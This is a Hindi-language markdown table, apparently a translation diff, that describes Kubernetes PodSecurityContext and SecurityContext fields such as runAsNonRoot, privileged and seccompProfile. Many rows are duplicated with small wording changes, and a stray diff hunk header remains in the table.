| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | यह **वॉल्यूम के स्वामित्व और अनुमति को बदलने** के व्यवहार को परिभाषित करता है, जो Pod के अंदर उजागर होने से पहले होता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | यह **वॉल्यूम के स्वामित्व और अनुमति को बदलने** के व्यवहार को परिभाषित करता है, जो Pod के अंदर उजागर होने से पहले। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए। यदि सत्य है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता के रूप में डिफ़ॉल्ट होता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए। यदि सही है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता पर डिफ़ॉल्ट होता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **सभी कंटेनरों पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | इस pod में कंटेनरों द्वारा उपयोग किए जाने वाले **seccomp विकल्प**। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | **प्राथमिक GID के अलावा, प्रत्येक कंटेनर में पहले चलाए गए प्रक्रिया पर लागू होने वाले समूहों की एक सूची**। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | **प्राथमिक GID के अलावा, प्रत्येक कंटेनर में चलने वाली पहली प्रक्रिया पर लागू होने वाले समूहों की एक सूची**। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls **pod के लिए उपयोग किए जाने वाले namespaced sysctls की एक सूची** रखते हैं। जिन pods में असमर्थित sysctls होते हैं (कंटेनर रनटाइम द्वारा) वे लॉन्च करने में विफल हो सकते हैं। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी कंटेनरों पर लागू होने वाली Windows विशिष्ट सेटिंग्स। यदि निर्दिष्ट नहीं किया गया है, तो एक कंटेनर के SecurityContext के भीतर विकल्पों का उपयोग किया जाएगा। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी कंटेनरों पर लागू होने वाली Windows विशिष्ट सेटिंग्स। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर के SecurityContext के भीतर विकल्पों का उपयोग किया जाएगा। |
## SecurityContext
@@ -42,15 +42,15 @@
ध्यान दें कि **SecurityContext और PodSecurityContext** में सेट किए गए गुणों में, **SecurityContext** में निर्दिष्ट मान **प्राथमिकता** लेता है।
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** नियंत्रित करता है कि क्या एक प्रक्रिया **अपने माता-पिता प्रक्रिया से अधिक विशेषाधिकार प्राप्त कर सकती है**। यह bool सीधे नियंत्रित करता है कि क्या no_new_privs ध्वज कंटेनर प्रक्रिया पर सेट किया जाएगा। AllowPrivilegeEscalation हमेशा सत्य होता है जब कंटेनर **Privileged** के रूप में चलाया जाता है या **CAP_SYS_ADMIN** होता है |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** नियंत्रित करता है कि क्या एक प्रक्रिया **अपने माता-पिता की प्रक्रिया से अधिक विशेषाधिकार प्राप्त कर सकती है**। यह bool सीधे नियंत्रित करता है कि क्या no_new_privs ध्वज कंटेनर प्रक्रिया पर सेट किया जाएगा। AllowPrivilegeEscalation हमेशा सही होता है जब कंटेनर **Privileged** के रूप में चलाया जाता है या **CAP_SYS_ADMIN** होता है |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | **कंटेनरों को चलाते समय जोड़ने/हटाने के लिए क्षमताएँ**। डिफ़ॉल्ट रूप से क्षमताओं के डिफ़ॉल्ट सेट पर। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | विशेषाधिकार मोड में कंटेनर चलाए। विशेषाधिकार प्राप्त कंटेनरों में प्रक्रियाएँ मूल रूप से **होस्ट पर रूट के बराबर** होती हैं। डिफ़ॉल्ट रूप से झूठा। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | कंटेनर को विशेषाधिकार मोड में चलाए। विशेषाधिकार प्राप्त कंटेनरों में प्रक्रियाएँ मूल रूप से **होस्ट पर रूट के बराबर** होती हैं। डिफ़ॉल्ट रूप से गलत। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount **कंटेनरों के लिए उपयोग करने के लिए proc माउंट के प्रकार** को दर्शाता है। डिफ़ॉल्ट DefaultProcMount है जो केवल-पढ़ने वाले पथों और मास्क किए गए पथों के लिए कंटेनर रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | क्या इस **कंटेनर का एक केवल-पढ़ने वाला रूट फ़ाइल सिस्टम है**। डिफ़ॉल्ट रूप से झूठा। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | क्या इस **कंटेनर का एक केवल-पढ़ने वाला रूट फ़ाइल सिस्टम है**। डिफ़ॉल्ट रूप से गलत। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को **गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए**। यदि सत्य है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता के रूप में डिफ़ॉल्ट होता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को **गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए**। यदि सही है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता पर डिफ़ॉल्ट होता है। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **कंटेनर पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | इस कंटेनर द्वारा उपयोग किए जाने वाले **seccomp विकल्प**। |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी कंटेनरों पर लागू होने वाली **Windows विशिष्ट सेटिंग्स**। |